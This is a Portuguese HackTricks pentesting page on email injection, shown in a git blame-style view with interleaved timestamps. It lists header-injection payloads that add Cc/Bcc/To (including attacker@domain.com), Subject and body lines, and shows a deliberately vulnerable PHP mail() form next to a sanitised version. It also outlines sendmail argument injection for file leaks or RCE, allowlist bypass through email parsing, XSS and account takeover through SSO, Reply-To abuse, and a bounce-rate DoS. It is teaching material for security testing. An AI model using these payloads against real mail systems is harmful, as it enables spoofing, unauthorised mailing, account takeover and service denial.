hacktricks/pentesting-web/email-injections.md

213 lines
12 KiB
Markdown
Raw Normal View History

2023-06-06 18:56:34 +00:00
# Injeções de Email
2022-04-28 16:01:33 +00:00
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
2022-08-31 22:35:39 +00:00
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias mais avançadas do mundo.\
Acesse hoje mesmo:
2022-08-31 22:35:39 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
2023-06-06 18:56:34 +00:00
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>
## Injetar em e-mail enviado
2023-06-06 18:56:34 +00:00
### Injetar Cc e Bcc após o argumento do remetente
2021-11-27 01:09:08 +00:00
```
From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com
```
2023-06-06 18:56:34 +00:00
A mensagem será enviada para as contas do destinatário e destinatário1.
2023-06-06 18:56:34 +00:00
### Injetar argumento
2021-11-27 01:09:08 +00:00
```
From:sender@domain.com%0ATo:attacker@domain.com
```
2023-06-06 18:56:34 +00:00
A mensagem será enviada para o destinatário original e para a conta do atacante.
### Injetar argumento de Assunto
2021-11-27 01:09:08 +00:00
```
2021-05-03 18:33:45 +00:00
From:sender@domain.com%0ASubject:This is%20Fake%20Subject
```
2023-06-06 18:56:34 +00:00
O assunto falso será adicionado ao assunto original e, em alguns casos, o substituirá. Isso depende do comportamento do serviço de e-mail.
2023-06-06 18:56:34 +00:00
### Alterar o corpo da mensagem
Injete uma quebra de linha de duas linhas e, em seguida, escreva sua mensagem para alterar o corpo da mensagem.
2021-11-27 01:09:08 +00:00
```
From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.
```
2023-06-06 18:56:34 +00:00
### Exploração da função mail() do PHP
A função `mail()` do PHP é comumente usada para enviar e-mails a partir de um servidor web. No entanto, ela também pode ser explorada por hackers para realizar ataques de injeção de e-mail.
2021-11-27 01:09:08 +00:00
#### Injeção de e-mail
A injeção de e-mail ocorre quando um invasor consegue inserir código malicioso em um campo de entrada que é posteriormente utilizado como parâmetro na função `mail()`. Isso pode permitir que o invasor envie e-mails não autorizados, falsifique remetentes ou até mesmo execute comandos no servidor.
#### Exemplo de exploração
Considere o seguinte código PHP:
```php
<?php
$to = $_POST['to'];
$subject = $_POST['subject'];
$message = $_POST['message'];
2023-06-06 18:56:34 +00:00
mail($to, $subject, $message);
?>
```
2023-06-06 18:56:34 +00:00
Neste exemplo, os valores dos campos `to`, `subject` e `message` são obtidos a partir de um formulário HTML e passados diretamente para a função `mail()`. Isso cria uma vulnerabilidade de injeção de e-mail.
2023-06-06 18:56:34 +00:00
#### Explorando a vulnerabilidade
2023-06-06 18:56:34 +00:00
Um invasor pode explorar essa vulnerabilidade inserindo código malicioso nos campos de entrada. Por exemplo, o invasor pode inserir o seguinte valor no campo `to`:
2023-06-06 18:56:34 +00:00
```
john@example.com; cc:malicious@example.com
```
2023-06-06 18:56:34 +00:00
Isso fará com que a função `mail()` envie o e-mail para ambos os endereços, permitindo que o invasor envie cópias não autorizadas para um terceiro.
#### Prevenção
Para prevenir a exploração da função `mail()`, é importante validar e sanitizar os dados de entrada antes de utilizá-los como parâmetros. Isso pode ser feito utilizando funções como `filter_var()` para validar endereços de e-mail e `htmlspecialchars()` para sanitizar mensagens.
```php
<?php
$to = filter_var($_POST['to'], FILTER_VALIDATE_EMAIL);
$subject = htmlspecialchars($_POST['subject']);
$message = htmlspecialchars($_POST['message']);
if ($to && $subject && $message) {
mail($to, $subject, $message);
}
?>
```
Ao validar e sanitizar os dados de entrada, é possível reduzir significativamente o risco de injeção de e-mail e outros ataques relacionados.
2021-11-27 01:09:08 +00:00
```bash
# The function has the following definition:
php --rf mail
Function [ <internal:standard> function mail ] {
- Parameters [5] {
Parameter #0 [ <required> $to ]
Parameter #1 [ <required> $subject ]
Parameter #2 [ <required> $message ]
Parameter #3 [ <optional> $additional_headers ]
Parameter #4 [ <optional> $additional_parameters ]
}
2021-11-27 01:09:08 +00:00
}
```
2023-06-06 18:56:34 +00:00
#### O 5º parâmetro ($additional\_parameters)
2021-11-27 01:09:08 +00:00
Esta seção será baseada em **como abusar deste parâmetro supondo que um atacante o controle**.
2021-11-27 01:09:08 +00:00
2023-06-06 18:56:34 +00:00
Este parâmetro será adicionado à linha de comando que o PHP usará para invocar o binário sendmail. No entanto, ele será sanitizado com a função `escapeshellcmd($additional_parameters)`.
2021-11-27 01:09:08 +00:00
2023-06-06 18:56:34 +00:00
Um atacante pode **injetar parâmetros extras para o sendmail** neste caso.
2021-11-27 01:09:08 +00:00
2023-06-06 18:56:34 +00:00
#### Diferenças na implementação de /usr/sbin/sendmail
2021-11-27 01:09:08 +00:00
A interface **sendmail** é **fornecida pelo software de e-mail MTA** (Sendmail, Postfix, Exim etc.) instalado no sistema. Embora a **funcionalidade básica** (como os parâmetros -t -i -f) permaneça a **mesma** por razões de compatibilidade, **outras funções e parâmetros** variam muito dependendo do MTA instalado.
2021-11-27 01:09:08 +00:00
2023-06-06 18:56:34 +00:00
Aqui estão alguns exemplos de diferentes páginas de manual do comando/interface sendmail:
2021-11-27 01:09:08 +00:00
* Sendmail MTA: http://www.sendmail.org/\~ca/email/man/sendmail.html
* Postfix MTA: http://www.postfix.org/mailq.1.html
* Exim MTA: https://linux.die.net/man/8/eximReferences
Dependendo da **origem do binário sendmail**, diferentes opções foram descobertas para abusar deles e **vazar arquivos ou até mesmo executar comandos arbitrários**. Veja como em [**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
2021-11-27 01:09:08 +00:00
2023-06-06 18:56:34 +00:00
## Injetar no nome do e-mail
2022-12-29 12:18:46 +00:00
2023-06-06 18:56:34 +00:00
### Partes ignoradas de um e-mail
2022-12-29 12:18:46 +00:00
2023-06-06 18:56:34 +00:00
Os símbolos: **+, -** e **{}** em raras ocasiões podem ser usados para marcação e ignorados pela maioria dos servidores de e-mail
2022-12-29 12:18:46 +00:00
* Por exemplo: john.doe+intigriti@example.com → john.doe@example.com
2022-12-29 12:18:46 +00:00
2023-06-06 18:56:34 +00:00
**Comentários entre parênteses ()** no início ou no final também serão ignorados
2022-12-29 12:18:46 +00:00
* Por exemplo: john.doe(intigriti)@example.com → john.doe@example.com
2022-12-29 12:18:46 +00:00
### Bypass da lista de permissões
2022-12-29 12:18:46 +00:00
2023-01-04 14:57:03 +00:00
<figure><img src="../.gitbook/assets/image (4) (6).png" alt=""><figcaption></figcaption></figure>
2022-12-29 12:18:46 +00:00
2023-06-06 18:56:34 +00:00
### Aspas
2022-12-29 12:18:46 +00:00
<figure><img src="../.gitbook/assets/image (6) (4).png" alt=""><figcaption></figcaption></figure>
2022-12-29 12:18:46 +00:00
### IPs
Você também pode usar IPs como nomes de domínio entre colchetes:
2022-12-29 12:18:46 +00:00
* john.doe@\[127.0.0.1]
* john.doe@\[IPv6:2001:db8::1]
2023-06-06 18:56:34 +00:00
### Outras vulnerabilidades
2022-12-29 12:18:46 +00:00
![](<../.gitbook/assets/image (296).png>)
2023-06-06 18:56:34 +00:00
## SSO de terceiros
2022-12-29 12:18:46 +00:00
### XSS
Alguns serviços como **github** ou **salesforce permitem** que você crie um **endereço de e-mail com payloads XSS**. Se você puder **usar esses provedores para fazer login em outros serviços** e esses serviços **não estiverem sanitizando** corretamente o e-mail, você poderá causar **XSS**.
2022-12-29 12:18:46 +00:00
### Account-Takeover
Se um **serviço SSO** permitir que você **crie uma conta sem verificar o endereço de e-mail fornecido** (como **salesforce**) e depois você pode usar essa conta para **fazer login em um serviço diferente** que **confia** no salesforce, você poderá acessar qualquer conta.\
Observe que o salesforce indica se o e-mail fornecido foi ou não verificado, mas a aplicação deve levar em conta essa informação.
2022-12-29 12:18:46 +00:00
## Reply-To
2023-06-06 18:56:34 +00:00
Você pode enviar um e-mail usando _**From: company.com**_\*\* \*\* e _**Replay-To: attacker.com**_ e se alguma **resposta automática** for enviada devido ao e-mail ter sido enviado **de** um **endereço interno**, o **atacante** pode ser capaz de **receber** essa **resposta**.
2022-12-29 12:18:46 +00:00
## Taxa de rejeição permanente
2022-12-29 12:18:46 +00:00
Algumas aplicações como a AWS têm uma **Taxa de Rejeição Permanente** (na AWS é de 10%), que quando sobrecarregada, o serviço de e-mail é bloqueado.
2022-12-29 12:18:46 +00:00
Uma **rejeição permanente** é um **e-mail** que não pôde ser entregue por algum motivo permanente. Talvez o **e-mail** seja um endereço falso, talvez o domínio do **e-mail** não seja um domínio real, ou talvez o servidor do destinatário do **e-mail** não aceite **e-mails**), isso significa que de um total de 1000 e-mails, se 100 deles forem falsos ou inválidos e causarem o retorno de todos eles, o **AWS SES** bloqueará seu serviço.
2022-12-29 12:18:46 +00:00
Portanto, se você puder **enviar e-mails (talvez convites) do aplicativo da web para qualquer endereço de e-mail**, você pode provocar esse bloqueio enviando centenas de convites para usuários e domínios inexistentes: DoS do serviço de e-mail.
2022-12-29 12:18:46 +00:00
2023-06-06 18:56:34 +00:00
## Referências
2021-11-27 01:09:08 +00:00
2022-12-29 12:18:46 +00:00
* [https://resources.infosecinstitute.com/email-injection/](https://resources.infosecinstitute.com/email-injection/)
* [https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
* [https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view](https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view)
* [https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0](https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0)
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
2023-06-06 18:56:34 +00:00
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente, utilizando as ferramentas comunitárias mais avançadas do mundo.\
Acesse hoje mesmo:
2022-04-28 16:01:33 +00:00
2022-08-31 22:35:39 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}